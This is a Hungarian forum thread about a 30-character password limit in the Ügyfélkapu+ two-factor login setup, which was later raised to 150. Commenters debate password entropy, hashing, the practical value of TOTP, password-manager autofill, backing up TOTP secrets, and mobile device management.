Ügyfélkapu 2FA (Ügyfélkapu+) és a jelszavak

Security-all

Én szerettem volna ma bekapcsolni a 2FA-t az Ügyfélkapuhoz. Úgy gondoltam, hogy 2024. januárjára már elég stabil ahhoz, hogy használni is lehessen. Picit tévedtem.

A https://ugyfelkapu.gov.hu/felhasznalo/adminisztracio/totp/eszkozparosit… oldalon ugyanis a jelszóbeviteli mező legfeljebb 30 karaktert enged bevinni. Komolyan, 2024-ben ott tartunk, hogy korlátozzák a jelszó hosszát? Nooormáááális, Margit.... Utoljára IBM termékben találkoztam súlyos jelszólimitációval (15 karakter).
Abban bíztam, hogy 2024-re ezt a téveszmét kinövik a fejlesztők. Tévedtem.

Persze rögtön írtam is a https://ugyfelkapu.gov.hu/kapcsolat űrlapon keresztül. Kíváncsi leszek, hogy mikorra javítják ki ezt a hibát.

  • 7186 megtekintés

( arpi_esp v | 2024. 01. 03., sze – 13:37 )

hat azert 30 karakter nem akkora korlat szerintem... minek ennel hosszabb pw? gondolom megneztek hogy a hash entropiaja mennyi, annal hosszabb jelszonak ugysincs ertelme.

De. Nekem 30 karakter nem elég. Főképp ismerve az IT rendszerek védelmét, jelszószivárgásra hajlamosságát. Bizalmatlan vagyok.
Normál weboldalaknál megelégszem a 24 karakterrel. Fontosabb rendszereknél 32 karakter, nagyon kritikus rendszernél (nálam az Ügyfélkapu is ide tartozik) 48 karakteres jelszavakat használok. Tudom, év vagyok a hülye.

de miert?

ha ellopjak, tokmind1 hogy 8 vagy 80 hosszu, akkor is el lesz lopva.

ha meg hasht kell torni, akkor a technika mai allasa alapjan 12 karakter hossz folott mar nem eri meg bruteforcolni, mert evekig tart, es a rainbow tabla se jatszik mar ilyen hossznal mert sok petabyte meretu lenne.

Egyrészt a hit. Minél hosszabb, annál nehezebben törik fel. Akkor is, ha ellopják. Nyilván ha a kedves rendszer titkosítatlanul tárolja a jelszavakat, akkor mindegy a hossz.

Továbbá van ez a jelszócsere mánia, ami már nem divat, sőt, ellenjavallt - lásd: NIST ajánlás. Egy megfelelően hosszú jelszó / jelmondat esetén emiatt se kell aggódnom.

ha meg hasht kell torni, akkor a technika mai allasa alapjan 12 karakter hossz folott mar nem eri meg bruteforcolni, mert evekig tart, es a rainbow tabla se jatszik mar ilyen hossznal mert sok petabyte meretu lenne.

Ha célzott a támadás - pl: magyarorszag.hu ellen -, akkor megérheti bevetni az erőforrásokat.

De miert ne? Ugyis a hash-t kell csak tarolni szerver oldalon, az meg ugyanakkora, jelszo meretetol fuggetlenul.

Avagy, az egvilagon semmilyen extra lepest, befektetest vagy egyebet nem igenyel a nagyobb jelszo engedelyezese. Hovatovabb, az az extra nehezseg, hogy limitet kell adni a jelszo hosszanak es lekezelni/megjeleniteni az ebbol fakado hibat.

Tehat a kerdes inkabb az, miert szurunk ki sajat magunkkal? Ertelmetlen policy #sok.

A jelszó védendő, ergo nem küldjük sehova: már a kliensben készül belőle egy sha512(md5(pass)+sha1(pass)+sha512(pass)) string, aminek fix a hossza, és tök mindegy, hogy hány ezer karakteres volt a pass, amíg a kliens függvényeket nem robbantja fel, addig a szerver oldal egy fix hosszú stringgel tud számolni. De ez csak egy móricka megoldás. :-)

az, hogy most a 30 karakter jónak tűnik, nem biztos, hogy most megszerzett információ nem lesz aktuális post-quantum korszakban. lásd: harvest now, decrypr later

4 és fél éve csak vim-et használok. elsősorban azért, mert még nem jöttem rá, hogy kell kilépni belőle.

(1) A 30*log2(95) nem ~60, hanem ~197. Tehát a jelszóban 197 bitnyi infó van.

(2) Miért számít, hogy a salt és a jelszó egymáshoz képest mekkorák?

A jelszó legyen jó erős, hogy ne lehessen nyers erővel törni. A salt is legyen jó erős, hogy ne lehessen érdemben szivárványtáblát gyártani előre. A végső hash-nak pedig szerintem nem kell annyi bittel rendelkeznie, mint a salt+pass összesen; elég, ha jól kever a hash. Például 128 bites salt-ot ragasztunk a fenti 197 bites jelszó elé, az 325 bit információ, de (szerintem) bőven jó, ha a SHA256 kimenetet tárolunk a salt mellett.

Esetleg az merülhet fel (csak találgatok, hogy mire vonatkozott a kérdőjeled), hogy "helyet pazarlunk"; nyilván SHA256-ba nem érdemes 256 bitnél kevesebb információt (salt+pass) belerakni. De a jelszó eleve 197 bites, úgyhogy ebből a szempontból már egy 64 bites salt is elég volna (197+64=261>=256).

SZERK. Neked úgy jött ki a 60, hogy nem 30*log2(95)-öt számoltál, hanem 30*log10(95)-öt!

( ibenny v | 2024. 01. 03., sze – 13:39 )

Szerkesztve: 2024. 01. 03., sze – 13:39

Én sem érzem ezt erős korlátnak, ahol nem limitálják kevesebbre, 24 karakteres jelszavakat használok, de többre sosem volt igényem, ettől éppen nem lesz rosszabb a szolgáltatás (tök jól működik 2FA-val is).

( vilmos.nagy | 2024. 01. 03., sze – 13:39 )

 Komolyan, 2024-ben ott tartunk, hogy korlátozzák a jelszó hosszát?

Sőt:

  • belépéskor el kell döntened, hogy 2FA-s, vagy 2FA nélküli belépést választasz (szar UX)
  • hiába van beállítva a 2FA, egy csomó szolgáltatás még a KAÜs oldalra visz, ahol 2FA nélkül van csak belépés

Ezt úgy kell érteni, ha bekapcsolod a 2FA-t akkor mondjuk a NAV-os mobilappba soha a büdös életben nem fogsz tudni belépni, mert a sima ügyfélkapuval próbál azonosítani és a 2FA-t miatt simán hibát dob belépéskor. 

Vagy ott van a https://gate.gov.hu -n (régi MOHU auth gondolom még van egy két szolgáltatás ami ezt használja) amin máig simán jelszóval be tudsz lépni akkor is ha be van kapcsolva a 2FA mert miért ne. 

Jól ki van ez találva.

Ha be van kapcsolva a 2FA-d, de oda kattintasz ezen a felületen, hogy Ügyfélkapu, akkor nem enged be: kapsz egy generic hibaüzenetet, hogy elírtad a jelszavadat, vagy van-e 2FA-d Ha be van kapcsolva a 2FA-d, akkor a fenti felületen az Ügyfélkapu+-t kell választanod. Securityben nem sérül, de aki ezt a UI-t kitalálta... 

(de vannak/voltak olyan állami oldalak, amik a beállított 2FA ellenére beengedtek, ami nem az új, képen látható ügyfélkaput használta, hanem még ennek valami régi verzióján keresztül léptetett be... lassan ezek kikopnak talán)

( gemnon v | 2024. 01. 03., sze – 13:41 )

Tényleg több mint harminc karaktert szeretnél ügyfélkapus jelszónak? :) A KAÜ süti cuminál bosszantó lehet ha hosszú. 

Eddig is itt voltam, ez az egy nickem van. :)

Amúgy érdekes, hogy a jelszóváltoztatásnál 150 karakter a password length limit, a 2FA hozzáadásánál meg csak 30 karakter, valaki megint minőségi munkát végzett. Én a helyében megpróbálnám a 2FA-nál fentebbrakni a password input maxlength-jét 150-re, mert valószínűleg az a helyes érték. Bár ha 150 karakterbe se fér bele akkor ez sem megoldás és lehet kibertámadásnak értékelik. :)

Engem pont ez triggerelt. Hogy lehet olyan béna rendszert alkotni, ahol egyik felületen X hosszú, másik felületen belépve csak X/5 hosszú jelszót tudok beírni? Ez így nem következetes, megtévesztő.
A vicc, hogy még értelmes hibaüzenetet se adott az oldal. Nekem kellett sakkozgatni, hogy miért nem jó a jelszavam - amivel 1 perccel korábban léptem be.

( zolti v | 2024. 01. 03., sze – 14:54 )

Szerkesztve: 2024. 01. 03., sze – 15:06

Nekem lejárt a jelszavam decemberben, jött róla mail('Ügyfélkapujának bejelentkezési jelszava 2023.12.17 napon lejár'). Mégis be tudok lépni??? Nem is jelezte, hogy változtassam meg simán beengedett. Kíváncsian várom mikor veszti el érvényességét. 

update:
A tarhely.gov.hu -ra simán be tudtam lépni, de a https://ugyfelkapu.gov.hu/ -ra belépve egyből kérte a jelszó megváltoztatását. Természetesen utána tárhely-hez is az új jelszó kellett.
Azt vártam volna, hogy dec 17 után oda sem tudok belépni a régi jelszóval.

OK, de akkor is furcsa, hogy a tarhely.gov.hu -ra simán beengedett ügyfélkapus azonosítást használva. Még ma is néztem és semmi sem utalt arra, h bármi probléma lenne, nem kérte a jelszó megváltoztatását. Ha nincs ez a topic akkor meg sem keresem az emailt és nem keresem fel az ugyfelkapu.gov.hu -t ahol belépés után egyből kérte a jelszó megváltoztatását.
Ezek szerint 60 napig használhattam volna a tarhely.gov.hu -t majd rohantam volna az okmányirodába mert már nem engedi a jelszó megváltoztatását ? Ez elég furcsa. Treynek biztos nem így működik. :)

Általában a kapcsolt rendszerek nem mindig dobnak a jelszóváltós felületre egy SSO megoldás esetén. Mi is szívunk azzal, hogy némelyik megoldás nem dobja a parasztot automatikusan a jelszóváltós felületre, amikor lejár neki, hanem vagy beengedi, vagy nem engedi be egyáltalán, de a jelszóváltás az így fel sem merül ötlet szinten se, hiába tudná a termék.

Blog | @hron84

valahol egy üzemeltetőmaci most mérgesen toppant a lábával 

via @snq-

( n.balazs v | 2024. 11. 06., sze – 16:56 )

Frissítés - 2024.11.06.:

Munkatársaink visszajelzése alapján az alábbi tájékoztatással tudunk szolgálni:

A küldött képernyőkép alapján az ügyfélkapus jelszó hossza meghaladja az Ügyfélkapu+ beállításkor megadható jelszó hosszt. Az üzemeltetők javították, ezt a problémát. Kérjük, próbálja meg ismételten igényelni az  Ügyfélkapu+ szolgáltatást.

Felemelték a limitet 150 karakterre. Picit lassan ment a változtatási igényem lefocizása. A lényeg: működik. Így már boldog Ügyfélkapu+ felhasználó vagyok. Mindig van remény...

Mit lehet erre írni? Maximum annyit, hogy gratulálok neked. Szimpla állampolgár létedre sikerült elérned, hogy egy közhivatal (gondolom annak számít) a panaszodat kezelte, ráadásul úgy ahogy te szeretted volna. Nekem még ilyen élményem nem volt. Irigyellek.

Még nincs aláírásom.

Azért a képhez hozzátartozik:
- Több ticketet nyitottam.
- Ha leráztak, akkor vártam pár hetet, esetleg hónapot és újra próbálkoztam a hibámmal.

Konteó on: Még az is lehet, hogy látják, hogy a DÁP nem fog tudni mindent határidőre. Már most is csúszásban vannak. Ergo az Ügyfélkapu+-ra átállás elengedhetetlenné vált szinte mindenkinél.

( wlaszi | 2024. 11. 07., cs – 15:20 )

picit offtopic: sikerült valakinek belőnie a keepassxc-t az ügyfélkapu+ login formhoz? Mivel a usr/pwd/totp field nem ugyanazon a formon belül van, nem tudom rávenni, hogy mindent helyesen töltsön ki (manuálisan ok, de az ugye nem kunszt :) )

"The only valid measurement of code quality: WTFs/min"

A kérdés lényege az volt, hogy milyen beállításokkal tudja?

A default módszer nekem nem megy. Egyszerre nem tudom kiválasztani a usr/pwd/totp fieldet, mert nincs olyan form állapot amikor mindhárom látszódna. Ha megpróbálom 2 részletben, akkor meg a keveri a pwd/totp fieldet (valszeg azonos id-juk van, de ezt a js-ből nem vakartam ki).

Ha rábökök egy fieldre, jobbklikkel meg tudom mondani, hogy mit rakjon bele a három lehetőségből…de nem ez a cél.

Értem a szeku megfontolásokat, de van az a scenario amikor ez a kisebbik rossz. (pl idős rokon, akinek a totp-t megérteni/alkalmazni kb lehetetlen, de intézkedni viszont akar).

"The only valid measurement of code quality: WTFs/min"

https://addons.mozilla.org/en-US/firefox/addon/totp/

Ez nem segit? 2 katt es a clipboardon van a totp. Beilleszteni kell tudni...

 

Ha ez keves, akkor Igaz a nav-os szamlazo belepeshez, de én írtam egy greasemonkey scriptet, ami begenerálja a totp-t a formba. Ha kell akkor a vazat meg tudom osztani, a formid-t kell atirni...

Hmm?

OK, pontosítok. A KeePassXC pluginben (Firefox) van olyan, hogy: Fill TOTP

Nyitó oldal, user/pw listából kiválasztva (mivel nálam több is van).

Következő oldalon ahol a 2FA-t kéri: jobb gomb, KeepAssXC -> Fill TOTP

Azért ez megugorható, 70 feletti apukámnak is szerintem ez lesz. (Linuxon még nem próbáltam)

Erre nekem is van 1 szállóigém. Szoktam emlegetni mikor valaki  be akar húzni a csőbe mikor rámlőcsölne valamilyen egyszerűnek tünő nemszeretem melót. Amiről ált. mindig kiderül h. sokkal hosszabb és szarabb meló lett, mint ahogyan előadták.

Sztori röviden: helyi szaki - kvázi menedzser kolléga - kiadta nekem a primitiv projectet: ... ne izgulj gyorsan megleszel vele, hisz "csakegy izé ". Aztán a "csakegy izé"-t több mint 10 hónapig vittem, mert közben kiderült mindenféle product bug, amiket a vendor is csak 6-8 hónappal később javítgatott (többedszerre sikerült nekik is). Pedig reális munka talán 1-2 hét lett volna vele  (tesztelés included, meg dummy guide írása az üzemeltetős bandának).

Jahogy ja. Már értem. 

https://totp.app/

you can simply click on the current one-time password, it will be copied to clipboard, then simply paste the password into the needed field 

Mivel böngészőben fut és neked is böngészőben kell az eredmény ezért gondolom elég egyszerűen leprogramozható.

Elképesztő egyébként, hogy mennyire nem ér semmit ez a 2FA a széles tömegek gyakorlatában majd.

  • Most mi van, tipikus használatban: user+pass elmentve a böngészőn (nyilván nincs primary password, mert az kényelmetlen), vagy még "jobb": el van mentve a cloud-ban plaintext-ként.
  • Mi lesz ezután: a TOTP alapjául szolgáló titkos "otpauth://" URL el lesz mente valamilyen alkalmazásban (és/vagy a cloud-ban), úgy, hogy minden további hitelesítés nélkül hozzáférhető lesz pontosan ugyanarról az eszközről, mint a korábbi, első faktor (a jelszó).

Az elmélet ugye úgy hangzik, hogy az első faktor (hagyományosan a jelszó) az, amit "tudsz". Ehhez jönne hozzá a második faktor, amit nem tudsz, viszont "birtokolsz".

A tipikus gyakorlat viszont az, hogy már az első faktor (a szolgáltatás-specifikus jelszó) is olyan, amit "birtokolsz" (és lényegében semmit nem kell hozzá tudni, max. a telefont kinyitni arccal, ujjlenyomattal, *izommemóriából* PIN-nel vagy gesztussal, ...). A második faktor -- a TOTP alapját képező titkos URL -- is csak olyan lesz, amit "birtokolsz"; ráadásul pont ugyanazon a fizikai tárgyon, és pont ugyanazzal a művelettel lehet feloldani, mint az első faktort. A korábbi első faktor sosem volt a képernyőn, az emberek nem gépelték be; tehát az, hogy a statikus jelszót eltanulják (lelessék), az nem volt valós veszély eddig sem. Így a két faktort pontosan ugyanakkora (közös) erőfeszítéssel lehet megszerezni: el kell lopni az okostelefont, és a telefon feloldását kell megoldani.

Az egész 2FA őrületnek annyi a gyakorlati következménye a tömegek számára, hogy sokkal nehezebb lesz használni egy csomó szolgáltatást, viszont semmivel sem lesz biztonságosabb, mint a 1FA.

(Én is azért rágódom ezen egyébként, mert bár magamnak megoldottam asztali gépre zbarimg és (gpg-re alapuló) "pass otp" kombinációval, arról fogalmam sincs, hogy mit javasoljak a családtagjaimnak. Mivel számukra a 2FA-ból származó elméleti biztonságnövekedés a gyakorlatban használhatatlan, ahogy a legtöbb ember számára is, valószínűleg arra kell törekednem, hogy legalább a lehető legkevésbé legyen kényelmetlen.)

Azt felejted el, hogy a legtöbb "jelszó-lopás", az újrahasznált jelszavakból van, feltörik a kispista bt php webshop-ját, viszik a cleartext jelszót a mysql adatbázisból, mellé az email cimet, felkerül a darkwebes, tizmillió lopott jelszót tartalmazó adatbázisba, majd ugyanazzal jelszóval be lehet lépni az email fiókjába és 20 másik szolgáltatásába.

Na ezt helyből megakadályozza még a leggagyibb, ugyanott tárolt TOTP 2FA is, ugyanis a secret hozzá egyedi lesz minden egyes szolgáltatásban és onnantól hiába van meg a user jelszava, nem tudnak más, 2FA-t használó szolgálatásba belépni a user nevében.

Jogos -- az "újrahasznált jelszó" mint támadási felület eszembe sem jutott; szerintem az utóbbi egy (kettő?) évtizedben csak generált jelszavaim voltak (és amikor rajtam múlott, másnak is csak generálni voltam hajlandó).

Az okoseszközök korában mi szól amellett, hogy az emberek kézzel válasszanak jelszót regisztrációnál? Az, hogy nincs igazán megoldva a jelszavak eszközök közötti szinkronizációja?

ugyanis a secret hozzá egyedi lesz minden egyes szolgáltatásban

Igen, de én úgy érzem, hogy a "time-based" rész ebben mellékes. A lényeg az újrahasznosítás megakadályozása. A lényegi különbséget abban érzem, hogy nem a felhasználót kérjük meg, hogy írjon be egy jelszót (amikor is nyilván mindig, mindenhol ugyanazt fogja megadni regisztrációnál), hanem mi generálunk számára egy szolgáltatás-specifikus titkot. A QR kódban az "otpauth://" URL szerepel, amiben van userid, secret, és a szolgáltatás weboldala. Lényegében rákényszerítjük a felhasználót, hogy minden oldalhoz külön jelszót használjon, és ezt úgy érjük el, hogy minden oldal külön generál neki secret-et. Neki nincs választása; annyit tehet, hogy amit kapott, azt elmenti a jelszókezelőjével.

Az, hogy a secret-ből aztán 30 másodpercenként más kódot származtatunk, ebből a szempontból mellékesnek tűnik.

A user hülye, ezt tudjuk. A TOTP szerintem egy jó kényszeritő eszköz, hogy a hülyeségét csökkentsük. Ha meg tényleg másik eszközön használja, az még tovább emeli a biztonságot.

Ha "csak" a tényleg egyedi, erős jelszót tudnánk kikényszeriteni - amit nem tudunk - az azért ennél kevesebb, ha viszi valami malware a böngészős jelszótárolóját, akkor visznek mindent.

 

"Az okoseszközök korában mi szól amellett, hogy az emberek kézzel válasszanak jelszót regisztrációnál? "

Az, hogy több milliárd NEM okoseszközt is használnak az emberek, nap-mint-nap. Teljesen természetes, hogy pl. munkahelyi gépén is be tudjon lépni a tesco webshop-ba és messze nem triviális, hogy ugyanazzal a userrel lenne belépve a böngészőjébe a munkahelyén, mint a telefonján. (már, ha egyáltalán bármivel is be van lépve a böngészőbe)

NEM természetes az sem, hogy a userek ugyanazt a jelszót adják meg minden weboldalon, mégis megteszik.

És persze, eleve legyen mindenkinek külön munkahelyi mobilja, amit csak munkára használ és privát mobilja, amilyen semmilyen munkával kapcsolatos dolgot nem végez, még egy google keresést sem. Ugyanigy, otthonra a cég adjon egy külön PC-t, amiről távolról dolgozhat.

Ez mind nagyon szép, de itt most a gyakorlatról beszélünk és arról, hogy mivel lehetne a biztonságot növelni, reálisan.

"És persze, eleve legyen mindenkinek külön munkahelyi mobilja, amit csak munkára használ és privát mobilja, amilyen semmilyen munkával kapcsolatos dolgot nem végez,"

Normális esetben van MDM (mobile device management), amivel egy eszközön szétválasztható a privát és a céges identitás és a kapcsolódó adatok és alkalmazások.

"Ugyanigy, otthonra a cég adjon egy külön PC-t, amiről távolról dolgozhat."

Távmunkára normális esetben természetesen NEM használható magán eszköz...
 

Szerintem simán használható, ha nem tiltja szabályzat. Teljesen releváns amit írsz egy nagyvállalat esetén, ahol külső és belső audit megfelelések miatt ki van zárva a magánhasználat.

De nem tudok olyan törvényi előírást, ami tiltaná ezt a használatot alapértelmezetten. Te tudsz esetleg?

AMikre kifejezetten komoly és szigorú policy vonatkozik normális helyen... Pl. hozhatod a saját telefonodat, de kapsz rá MDM-et, és a céges meg a privát adataid ezzel lesznek szétválasztva. (A BYOD az költséggazdák szemében nagyszerű ötlet, az ITSEC területnek meg rémálom...)

Mai napig nem láttam jó prezentációt meg live demo-t róla, h. adott MDM megoldások milyen rizikóz jelentenek Nekem, mint az endusernek, ha attól tartok h. a munkáltatóm kutakodik a személyes dolgaim között a telefonomon.

Tud bárki ilyen prezentációról?

Szkeptikus vagyok vajon ténylegesen mit látnak, kifejezetten de nem kizárólagosan az alábbiakra gondolok: híváslista (metaadat, meg a konkrét hívás lehallgatása), sms (a metaadat, és az üzenet tényleges tartalma), privát email fiókok tartalma, fájlrendszer access, fotó és videó tár, böngésző history és bookmarkok. Vagy a bónusz kérdés, h. mi a helyzet egy remote wipe-nál, mi megy a levesbe, mihez nem tud hozzányúlni egy ilyen wipe?

Kérdezném a helyi IT-t, de vagy nem tudják, vagy belső szekuriti paranoiából letagadják mire képesek tényleg (elkerülve egy munkaügyi pernél a felelősségrevonásuk lehetőségét), és takaróznak a jogi részleg által megírattatott és elfogadtatott papírokkal.

Vagy álljak neki felhúzni saját demo környezetet, Intune-t meg társait és próbáljam ki ha ebbe a demo-ba enroll-olom a telefonomat- mit tudok belőle kideríteni?

MDM beállítástól függ, hogy hogyan működik. Mivel elsődlegesen két identitás elhatárolása a cél, így az MDM kifejezetten úgy működik, hogy a két identitással keletkezett adatok semmilyen módon ne keveredjenek.
A wipe esetén mindazok az adatok, szoftverek (vagy szoftvereknek az adott identitás alá készült klónjai) illetve beállítások mennek a lecsóva, amik az MDM-es identitással kerültek a telefonra, illezve amit az MDM "tolt le" a készülékre, legyen az sw vagy beállítás.

Mondanám, hogy gugli a barátod, de ahogy látom, neked nagyon nem az :-P

A kicsiknek nincs rá pénze a nagyok meg nemigazán tudják használni.

Általában valamilyen saját fejlesztésű Tákolmapp-ot (TM) "védenek" vele, láttam már olyan, hogy a Tákolmapp mellé volt telepítve és az MDM-en app whiltelisten volt a Tákolmapp "admin" appja amin ott figyelt a Dump DB gomb. Olyat is, hogy a Tákolmapp egy "titkos" swype után feldobta az sql editor activity-t és kiköpte a tárolt API kulcsokat. Úgyhogy vannak fenntartásaim azzal kapcsolatban, hogy menne a kicsiknek, ha a nagyoknak sem igazán.

A google a barátod random találatai pont nem érdekel ebben a témában. De nívós YT-előadást az mondtam, szóval mellélőttél.

Azt többre értékelném, ha valaki szekus-ként anonim megvallaná, mit láthat és tehet azon felül, mint ami a google-találat szerinti prospektusban be van ismerve. Szemellenzős bankinformatikusként te ezt úgy sem értheted.

Hogy most épp mivel keresem a kenyérre valót, az lényegtelen, foglalkoztam MDM bevezetéssel is, és amit láttam, az teljesen rendben volt: az elválasztás mindkét irányban korrekten működött: a személyes "profil" nem látott rá/nem volt hatással a céges profilra és viszont. De ha ennyire csak a saját szemednek akarsz hinni, akkor például az említett szoftvert kipróbálhatod, vagy utánanézhetsz a Samsung Knox -nak, mit eszköznek, mert gondolom hiába írtam, hogy korrekten működő elválasztást láttam, neked ez nem elég.

Googlenak van valami zero-touch zenterprise cucca az is felhős mint a Knox csak szerintem univerzális (amint netet kap a menedzselt eszköz a play services szépen helyre rakja factory reset után is) , amit még én láttam vmware workspace one intelligent hub és az ibm-nek a MaaS360-a.

És a Mason telefon, ami elvileg hardwares védelem is lenne, de valamiért a gyártó úgy gondolta, hogy a zenterprise secure device on jó ötlet bekapcsolva hagyni az edl-t :)

( freeoli v | 2024. 11. 07., cs – 16:43 )

Nekem tönkrement a telefonom amin a 2FA token volt. Lehetetlen megoldani egy új regisztrációnál így inkább kértem DÁP-ot. 

Értem, de mivel az új telefonra költözéskor (Samsung->Samsung) egy csomó hibám volt (nem a költözés miatt, mint utóbb kiderült, hanem a túl új Android), ezért full gyári reset után egyesével raktam fel az új alkalmazásokat. Az Authenticator miatt nem is töröltem a régi telefont, hogy amíg mindent elintézek legyen működő. Hát nem kellett. Authenticator szűz install, Google account bejelentkezés, megjelent az összes csatolt alkalmazás összes csatolt profilja és működik is.

A TOTP shared secret-et az alkalmazás menthető/backup-olható módon tárolja. Egyébként a Microsoft authenticator is ugyanígy működik, ott a Microsoft fiókon keresztül van költöztetési/backup lehetőség. De ha mutatsz egy totp megvalósítást, ami nem ilyen módon tárol, akkor azt fogom használni én is.

Próbálj meg feltölteni egy kliens cert/key párost a telefonodra, majd visszaolvasni/kinyerni a privát kulcsot az eszközből - az nem fog menni.

A mobilbanki alkalmazások erős azonosításra biometriát, illetve push-t használnak,  illetve a deviceID-t is használják az eszköz azonosítására/hozzáférés engedélyezése során, ami a bárhol, bármilyen módon, tetszőleges példányszámban tárolt shared secret-et használáó totp-nél több szempontból is jobb.

 

erős azonosításra biometriát,

:)

legtöbb helyen ez az "erős azonosítás", csak egy kényelmi fícsör hogy ne kelljen a 6-jegyű pin kódot használni... szóval pont annyira 'erős' mint a 6 jegyü pin, ugyanis arra bármikor lehet failback-ot forszolni.

 

úgy általában a bankok úgy 5-6 év lemaradással (és/vagy ahgy a PCI-DSS megköveteli) 'követik' a securty best practice-eket ;)

 

szrintem.

zrubi.hu

A műveletek kapcsán szerintem az auth módja is naplózásra kerül... A PCI/DSS a kártyaadatokat kezelőkre vonatkozik - nem minden bank/banki rendszer esik ennek hatálya alá - ellenben a hazai pénzintézeteknél az MNB "ajánlások" betartása az elvárt, ami több esetben szigorúbb is lehet akár...

Off topic: 

Egyébként a Microsoft authenticator is ugyanígy működik, ott a Microsoft fiókon keresztül van költöztetési/backup lehetőség. 

Megy mar az MS Authenticatornak az, hogy Android <-> Apple kozott tudjon koltozni?

Egy ideje nem neztem, de par eve meg nem tudta.

ott a Microsoft fiókon keresztül van költöztetési/backup lehetőség. De ha mutatsz egy totp megvalósítást, ami nem ilyen módon tárol

Ha a "nem ilyen mód" alatt azt érted, hogy nem kell fiók a mentéshez, akkor azt az Aegis is tudja (meg, felteszem, még több más hasonló megvalósítás is). Kiválasztod a formátumot ({Statham}, HTML vagy TXT), be- vagy kikapcsolod a titkosított mentést, meg elvileg azt is kiválaszthatod, hogy melyik csoportokat mentse. Végül lesz egy fájlod, amit Google/MS nélkül is oda másolsz, ahova akarsz.

Onnantól, hogy az app felolvassa megfelelő jogosultság birtokában, már "kijött" a tárolóelemból - ami erősen csökkenti a biztonságot - ellenben a rendelkezésre állást (a backup lehetősége miatt) növeli.

A QR-kódban elheyezett secret offline/offsite védett tárolása akár papírra nyomtatva teljesen jó _lehet_ ha a tárolása kellően biztonságos módon történik.  (A desktopra kirakott fészbuk_2fa_kód.jpg nem az :-) ) Nálam a páncélkazettában van néhány A4-es lap, illetve lassan kerül melléjük egy yubikey is...
 

Rá kell jönni, hol van, oda be kell jutni, ott meg kell találni, fel kell nyitni... Ezt elég nehéz észrevétlenül megoldani. De persze lehet azt is mondani, hogy titkosított pendrive-on qrkod_xxx.jpg fájlokban tárolva biztonságosabb - igen, biztonságosabb, de ehhez kell két pendrive...

( Caro | 2024. 11. 11., h – 08:56 )

Szerkesztve: 2024. 11. 11., h – 08:56

Következő hülye kérdés: ha nem regisztrálok semmi másra, ezáltal gondolom a fiókom megszűnik.

Ezentúl a hivatalos dokumentumok, amik a tárhelyre érkeztek, majd újra hozza a postás tértivevénnyel? Igazából ez egy egész jó passzív ellenállás lenne a rendszerrel szemben, küldözgessék csak a leveleket, ha nekik ez jó.

Amúgy meg ahhoz képest, hogy az ügyfélkapu user/pass párosa valóban nem nevezhető XXI. századi biztonságnak, valahogy mégsem voltak tele azzal a hírek, hogy ezzel visszaéltek volna. Ellenben banki csalásról rengeteget hallani.

És pontosan mit szeretnél elérni az "ellenállásoddal"? Főleg ha te is belátod, hogy ilyen kényes adatokat, tevékenységet nyújtó rendszernél nagyon kevés egy fix név-jelszó.

Más kérdés, hogy nem nekik lesz probléma a levélben küldözgetés, hanem ismerve a posta fantasztikus szolgáltatását, te fogod irgalmatlanul megszivni, a kézbesitettnek tekintett, ellenben általad soha meg nem kapott fontos dokumentumok következményeivel.

Ja, fontos dokumentumok mint hogy megérkezett az adó 1%-om a megfelelő helyre.

A levelet valakinek ki kell nyomtatnia, postára kell adnia, stb. Ha tömegesen nem térnek át, akkor ebből keletkezik bőven plusz munkahely, amire eddig nem volt szükség (vagy el kell kezdeni dolgozni azoknak az embereknek, akik eddig nem csináltak semmit).

Én pedig nem vagyok hajlandó sem Google, sem Apple platformhoz kötni az életemet.

De amíg ott van a Linux alól is használható megoldás, addig nekem nincs bajom.

"A levelet valakinek ki kell nyomtatnia, postára kell adnia, stb. Ha tömegesen nem térnek át, akkor ebből keletkezik bőven plusz munkahely,"

Nagyjából nulla plusz munkahelyre lesz szükség - elkészül a pdf, megy automatán a nyomdába/borítékolásra és postázásra gyakorlatilag emberi kéz érintése nélkül. (A fölösleges papírpazarlásról, ami nagyon nem zöld dolog, most nem beszélve...)

A kérdésre nem válaszoltál.

Bár más is leirta, ezzel semmi gondot nem tudsz okozni, ezt nem eberek végzik, teljesen automatizált. Ha sokan kérik levélben, akkor annyi történik, hogy az adódból több pénzt fog az automatizált levélküldő nyomda kapni. 20 éve is ki tudtak küldeni többmillió embernek 30 oldalas adóbevallás iveket, bevallás idejére ütemezve.

De továbbra is mi lenne a célja a nagy ellenállásnak? Maradjon meg a gagyi webshopokhoz is kevés név-jelszó bejelentkezés az ügyfélkapuhoz?

Linux alól senki nem tiltja, hogy TOTP-t generálj és azzal lépj be ügyfélkapu+-ba.

Elsősorban azt szeretném elérni hogy se az Androidra se az iOS-re ne legyek rákényszerítve.

Másodsorban nekem ettől a telefonos "kétfaktortól" is herótom van. Kb. mindenhol más jelszót használok, ahol számít. Online fizetésnél is utálom az SMS-t, régen simán fejből tudtam az összes kártyaadatom, másodpercek alatt telefonnyomkodás nélkül is tudtam fizetni. Nem vagyok köteles mobiltelefont tartani.

De egy chipkártyás/USB stick-es kétfaktor ellen nem lenne kifogásom. Meg amúgy a PC-ben is van TPM modul, ha nagyon akarnák, gondolom azt is lehetne használni.

Mert pont ez a bajom: azt mondjátok, hogy a PC-m nem kétfaktor, de pont ennyire a telefon sem az. Ha csak egy telefonod van, azzal tudsz netbankolni, tudsz DÁP-ba jelentkezni, tudsz Packeta csomagot átvenni. Senkit nem zavar, hogy egyetlen eszköz.

Ha csak egy PC-d vagy laptopod van, azzal egyedül semmit sem tudsz csinálni. Azt őszintén szólva nem követtem, hogy a böngésző API-k hogyan állnak, hozzáférnek-e a TPM chiphez, de legrosszabb esetben egy 3rd party appal ugyanezt a biztonságot el lehetne érni.

Sőt, egy PC, de egy laptop is azért sokkal kisebb esélyedből esik ki a farzsebedből...

És még egyszer: hány olyan esetről hallottál, hogy ellopott ügyfélkapu jelszóval mittomén nemváltó műtétre jelentkeztek XY nevében az EESZT-ben. Nyilván egy-egy ember megtörése nem akkora hír, de kirívó eseteket azért biztosan közölt volna a média. A nagy hír mégis inkább a szolgáltatóktól ellopott nagymennyiségű adat szokott lenni.

És hol olvastál olyat, hogy androidra vagy ios-re akarnak kényszeriteni? A TOTP-s bejelentkezés marad, egyelőre annyi lett felvetve, hogy ha DÁP-ozol, akkor azzal tudsz belépni, mivel jóval biztonságosabb mint a TOTP. (hasonlóan ahogy a sima ügyfélkaput is tiltani lehet vagy talán már tiltják is annak, akinek TOTP-s ügyfélkapu+ -a van)

